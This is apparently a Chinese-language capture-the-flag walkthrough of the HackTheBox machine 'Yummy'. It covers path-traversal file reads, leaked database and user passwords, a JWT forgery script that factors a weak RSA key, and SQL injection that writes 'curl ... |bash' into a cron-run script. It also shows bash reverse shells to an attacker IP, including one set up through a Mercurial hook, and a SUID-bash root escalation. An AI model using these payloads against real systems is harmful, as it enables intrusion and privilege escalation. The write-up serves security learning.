HacktheBox-Yummy

额,不太懂这个靶机为什么这么这么的卡。suid 利用的不太会。

信息搜集

1
2
3
4
5
6
7
8
start infoscan
10.10.11.36:22 open
10.10.11.36:80 open
[*] alive ports len is: 2
start vulscan
[*] WebTitle http://10.10.11.36 code:302 len:0 title:None 跳转url: http://yummy.htb/
已完成 2/2
[*] 扫描结束,耗时: 51.404375599s

扫下目录:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
gobuster dir -u http://yummy.htb/ -w /usr/share/wordlists/dirb/common.txt
===============================================================
Gobuster v3.6
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url: http://yummy.htb/
[+] Method: GET
[+] Threads: 10
[+] Wordlist: /usr/share/wordlists/dirb/common.txt
[+] Negative Status codes: 404
[+] User Agent: gobuster/3.6
[+] Timeout: 10s
===============================================================
Starting gobuster in directory enumeration mode
===============================================================
/book (Status: 200) [Size: 39296]
/dashboard (Status: 302) [Size: 199] [--> /login]

login 页面注册登录。

123@qq.com:123456

定一台

然后点击 save icalendar 能发现有一个疑似 LFI 的点位:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
GET /export//../../../../../../../../../../../data/scripts/table_cleanup.sh HTTP/1.1

Host: yummy.htb

User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8

Accept-Language: en-US,en;q=0.5

Accept-Encoding: gzip, deflate, br

Referer: http://yummy.htb/dashboard

Connection: close

Cookie: X-AUTH-Token=eyJhbGciOiJSUzI1NiIsInR5cCI6IkpXVCJ9.eyJlbWFpbCI6IjEyM0BxcS5jb20iLCJyb2xlIjoiY3VzdG9tZXJfMGZjNWJhMjkiLCJpYXQiOjE3Mjg2MzczODgsImV4cCI6MTcyODY0MDk4OCwiandrIjp7Imt0eSI6IlJTQSIsIm4iOiIxMTUwMTQxNTc5Mjg1MDA4MjMzOTE2OTQ0MDM0MDkyNjM2ODkzNjU5NTYyMTQ5NjMxNjEwNzc2MTAxMzk4OTQxNDM2MjQzNjEyMTc4NjEzMDEwNTI1NzcyMjIyNzQ3ODMzNDM3MTk3NDU4MzE4MjAxNTg3OTA1Mzc4OTkyNjM3MjM2MTg1NDI4NjcwNjI0Njc5MjU4MDgzODQ0NTA5NjA5MDE1NDIwODY3ODg5Mjc2MTc3NTMwMjM0NTYxNTk3MTU4NDQyNDIwODgzODIwMzg5OTAzNjcxODM5NzAyNzA3NzYwNDI1Nzk1MjUyNTcxMzE1NzgwNTk5OTM0MDc5NTI0NTM5MDU1MTQ3NTc4NzE3NzgxODQ4NzQzOTQ2MTM2OTMxNDQwOTMzNDE3ODg1MDc1NzE0NTY0NDk0MjkiLCJlIjo2NTUzN319.Ad24nJjBcwyS-4JNWil2x8BEnqEAHOySnwcbtfNqhkEfU_OZNafTZQsdrOfnD1uuqclh1V2EUE-cClBTUrBuxgon3IRSDjeKGqqg1QWm_NP63IgsiWIMhTQ_1aVYqMZruwQRkyeywId9XONM24MSY1RTS8Nd7mKqjj-3tQCHKIB2SFo; session=.eJyrVopPy0kszkgtVrKKrlZSKAFSSsWlycmpxcVKOkpBqcWpRWWJJZn5eQop-eV5OfmJKakpClAFaaU5OZVKsbU6Q0djbC0ANtJYFA.Zwjrfw.p7JWjWxuJ8i6TW99t5KHkWhfaT0

Upgrade-Insecure-Requests: 1




证实发现确实可以。然后查看一些敏感文件比如/etc/crontab发现有定时对 app 备份的操作。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
# /etc/crontab: system-wide crontab
# Unlike any other crontab you don't have to run the `crontab'
# command to install the new version when you edit this file
# and files in /etc/cron.d. These files also have username fields,
# that none of the other crontabs do.

SHELL=/bin/sh
# You can also override PATH, but by default, newer versions inherit it from the environment
#PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin

# Example of job definition:
# .---------------- minute (0 - 59)
# | .------------- hour (0 - 23)
# | | .---------- day of month (1 - 31)
# | | | .------- month (1 - 12) OR jan,feb,mar,apr ...
# | | | | .---- day of week (0 - 6) (Sunday=0 or 7) OR sun,mon,tue,wed,thu,fri,sat
# | | | | |
# * * * * * user-name command to be executed
17 * * * * root cd / && run-parts --report /etc/cron.hourly
25 6 * * * root test -x /usr/sbin/anacron || { cd / && run-parts --report /etc/cron.daily; }
47 6 * * 7 root test -x /usr/sbin/anacron || { cd / && run-parts --report /etc/cron.weekly; }
52 6 1 * * root test -x /usr/sbin/anacron || { cd / && run-parts --report /etc/cron.monthly; }
#
*/1 * * * * www-data /bin/bash /data/scripts/app_backup.sh
*/15 * * * * mysql /bin/bash /data/scripts/table_cleanup.sh
* * * * * mysql /bin/bash /data/scripts/dbmonitor.sh

/data/scripts/app_backup.sh

1
2
3
4
5
6
#!/bin/bash

cd /var/www
/usr/bin/rm backupapp.zip
/usr/bin/zip -r backupapp.zip /opt/app

data/scripts/table_cleanup.sh

1
2
3
#!/bin/sh

/usr/bin/mysql -h localhost -u chef yummy_db -p'3wDo7gSRZIwIHRxZ!' < /data/scripts/sqlappointments.sql

/data/scripts/dbmonitor.sh

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
#!/bin/bash

timestamp=$(/usr/bin/date)
service=mysql
response=$(/usr/bin/systemctl is-active mysql)

if [ "$response" != 'active' ]; then
/usr/bin/echo "{\"status\": \"The database is down\", \"time\": \"$timestamp\"}" > /data/scripts/dbstatus.json
/usr/bin/echo "$service is down, restarting!!!" | /usr/bin/mail -s "$service is down!!!" root
latest_version=$(/usr/bin/ls -1 /data/scripts/fixer-v* 2>/dev/null | /usr/bin/sort -V | /usr/bin/tail -n 1)
/bin/bash "$latest_version"
else
if [ -f /data/scripts/dbstatus.json ]; then
if grep -q "database is down" /data/scripts/dbstatus.json 2>/dev/null; then
/usr/bin/echo "The database was down at $timestamp. Sending notification."
/usr/bin/echo "$service was down at $timestamp but came back up." | /usr/bin/mail -s "$service was down!" root
/usr/bin/rm -f /data/scripts/dbstatus.json
else
/usr/bin/rm -f /data/scripts/dbstatus.json
/usr/bin/echo "The automation failed in some way, attempting to fix it."
latest_version=$(/usr/bin/ls -1 /data/scripts/fixer-v* 2>/dev/null | /usr/bin/sort -V | /usr/bin/tail -n 1)
/bin/bash "$latest_version"
fi
else
/usr/bin/echo "Response is OK."
fi
fi

[ -f dbstatus.json ] && /usr/bin/rm -f dbstatus.json


当然如果没读这个/etc/crontab也可以通过爆破的方式来读取:

1
2
3
4
5
6
7
8
9
10
11
12
w="/opt/wodrlists/LFI/LFI-gracefulsecurity-linux.txt" # secLists
end="http://yummy.htb/export"
jwt='X-AUTH'
session='session'

for w in $(cat $w); do
cookie=$(curl -g -H "Cookie: X-AUTH-Token=${jwt}; session=${session}" http://yummy.htb/reminder/23 -I | grep Set-Cookie | awk '{print $2}' | awk -F ';' '{print $1}')
#echo $cookie
echo ${end}'/../../../../../../../../../../../../..'${w}
res=$(curl -g ${end}'/%2E%2E/%2E%2E/%2E%2E/%2E%2E/%2E%2E/%2E%2E/%2E%2E/%2E%2E/%2E%2E/%2E%2E/%2E%2E/%2E%2E/%2E%2E'${w} -H "Cookie: X-AUTH-Token=${jwt}; ${cookie}" --proxy http://127.0.0.1:8080)
echo $res
done

根据上面的内容可以下载到源码:appbackup.zip

1
2
3
4
5
6
7
8
db_config = {
'host': '127.0.0.1',
'user': 'chef',
'password': '3wDo7gSRZIwIHRxZ!',
'database': 'yummy_db',
'cursorclass': pymysql.cursors.DictCursor,
'client_flag': CLIENT.MULTI_STATEMENTS
}

有个 SQL 注入:

JWT 可以通过解构 RSA。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
#!/usr/bin/python3

from Crypto.PublicKey import RSA
from cryptography.hazmat.backends import default_backend
from cryptography.hazmat.primitives import serialization
import sympy


# Generate RSA key pair
q = sympy.randprime(2**19, 2**20)
n = sympy.randprime(2**1023, 2**1024) * q
e = 65537
p = n // q
phi_n = (p - 1) * (q - 1)
d = pow(e, -1, phi_n)
key_data = {'n': n, 'e': e, 'd': d, 'p': p, 'q': q}
key = RSA.construct((key_data['n'], key_data['e'], key_data['d'], key_data['p'], key_data['q']))
private_key_bytes = key.export_key()

private_key = serialization.load_pem_private_key(
private_key_bytes,
password=None,
backend=default_backend()
)
public_key = private_key.public_key()

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
#!/usr/bin/python3

from flask import request, jsonify
import jwt
from config import signature

def verify_token():
token = None
if "Cookie" in request.headers:
try:
token = request.headers["Cookie"].split(" ")[0].split("X-AUTH-Token=")[1].replace(";", '')
except:
return jsonify(message="Authentication Token is missing"), 401

if not token:
return jsonify(message="Authentication Token is missing"), 401

try:
data = jwt.decode(token, signature.public_key, algorithms=["RS256"])
current_role = data.get("role")
email = data.get("email")
if current_role is None or ("customer" not in current_role and "administrator" not in current_role):
return jsonify(message="Invalid Authentication token"), 401

return (email, current_role), 200

except jwt.ExpiredSignatureError:
return jsonify(message="Token has expired"), 401
except jwt.InvalidTokenError:
return jsonify(message="Invalid token"), 401
except Exception as e:
return jsonify(error=str(e)), 500

然后就是写 poc。这个 poc 来自网络。RSA 实在是懒得写了。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
import base64
import json
import jwt
from Crypto.PublicKey import RSA
from cryptography.hazmat.backends import default_backend
from cryptography.hazmat.primitives import serialization
import sympy

token = input("jwt=")
# Decode the payload
def base64_url_decode(input):
padding = '=' * (4 - len(input) % 4)
return base64.b64decode(input + padding).decode('utf-8')

# Decode the payload part of the JWT
payload_part = token.split(".")[1]
decoded_payload = json.loads(base64_url_decode(payload_part))

# Extract n from the payload (assuming jwk is in the decoded payload)
n = int(decoded_payload["jwk"]['n'])
p, q = list((sympy.factorint(n)).keys())
e = 65537
phi_n = (p - 1) * (q - 1)
d = pow(e, -1, phi_n)

key_data = {'n': n, 'e': e, 'd': d, 'p': p, 'q': q}
key = RSA.construct((key_data['n'], key_data['e'], key_data['d'], key_data['p'], key_data['q']))
private_key_bytes = key.export_key()

private_key = serialization.load_pem_private_key(
private_key_bytes,
password=None,
backend=default_backend()
)
public_key = private_key.public_key()

# Decode the JWT using the public key
data = jwt.decode(token, public_key, algorithms=["RS256"])

# Modify the decoded data
data["role"] = "administrator"

# Encode the new JWT
new_token = jwt.encode(data, private_key, algorithm="RS256")
print("new_jwt=\n"+new_token)

1
eyJhbGciOiJSUzI1NiIsInR5cCI6IkpXVCJ9.eyJlbWFpbCI6IjEyM0BxcS5jb20iLCJyb2xlIjoiYWRtaW5pc3RyYXRvciIsImlhdCI6MTcyODY0OTYxMSwiZXhwIjoxNzI4NjUzMjExLCJqd2siOnsia3R5IjoiUlNBIiwibiI6IjExNTAxNDE1NzkyODUwMDgyMzM5MTY5NDQwMzQwOTI2MzY4OTM2NTk1NjIxNDk2MzE2MTA3NzYxMDEzOTg5NDE0MzYyNDM2MTIxNzg2MTMwMTA1MjU3NzIyMjI3NDc4MzM0MzcxOTc0NTgzMTgyMDE1ODc5MDUzNzg5OTI2MzcyMzYxODU0Mjg2NzA2MjQ2NzkyNTgwODM4NDQ1MDk2MDkwMTU0MjA4Njc4ODkyNzYxNzc1MzAyMzQ1NjE1OTcxNTg0NDI0MjA4ODM4MjAzODk5MDM2NzE4Mzk3MDI3MDc3NjA0MjU3OTUyNTI1NzEzMTU3ODA1OTk5MzQwNzk1MjQ1MzkwNTUxNDc1Nzg3MTc3ODE4NDg3NDM5NDYxMzY5MzE0NDA5MzM0MTc4ODUwNzU3MTQ1NjQ0OTQyOSIsImUiOjY1NTM3fX0.AowproOXjMhVFeKN_1bwyaxSRzEPD-OYVroBwQAOogU6XMB_7ST7jYeqhgwzy8e05aSV2DbDmIiamytdI9hVFQI0eZElYj5PS225WPWv56CSGol_Tw5fT6kAF3102165_OFCWWg81H5SBENXXEwGJbOLzGVcfb6eYb4geIrJUcMm600
1
2
http://yummy.htb/admindashboard?s=aa&o=ASC%3b++select+%22ping%3b%22+INTO+OUTFILE++%27/data/scripts/dbstatus.json%27+%3b
http://yummy.htb/admindashboard?s=aa&o=ASC%3b++select+%22curl+10.10.16.34/1+|bash%3b%22+INTO+OUTFILE++%27/data/scripts/fixer-v___%27+%3b

现在的权限是 mysql

可以通过修改 app_backup.sh 来得到 www-data 权限。但是没有 app_backup.sh 的 w 权限。可以通过先删除再写入的方式来

1
echo "bash -i >& /dev/tcp/10.10.16.34/7778 0>&1" > app_backup.sh

然后就是我觉得比较神奇的一步了,在/var/www/app-qatesting/.hg/store/data下的app.py.i如果查看可见字符可以发现有泄露账号和密码:

1
strings app.py.i 

qa:jPAd!XQCtn8Oc@2B

User

可以通过这个账号登录到用户 qa 用户。

1
sudo -l

后面就有点麻了。

1
cd /tmp;mkdir .hg;chmod 777 .hg;cp ~/.hgrc .hg/hgrc;echo "[hooks]" >> /tmp/.hg/hgrc;echo "post-pull = /tmp/revshell.sh" >> /tmp/.hg/hgrc;echo "bash -c 'bash -i >& /dev/tcp/10.10.16.34/7779 0>&1'" > /tmp/revshell.sh;chmod +x /tmp/revshell.sh;sudo -u dev /usr/bin/hg pull /home/dev/app-production/

PE

1
cd /home/dev/;cp /bin/bash app-production/bash;chmod u+s app-production/bash;sudo /usr/bin/rsync -a --exclude=.hg /home/dev/app-production/* --chown root:root /opt/app/;/opt/app/bash -p

盘外招

直接登 User 然后 PE 即可。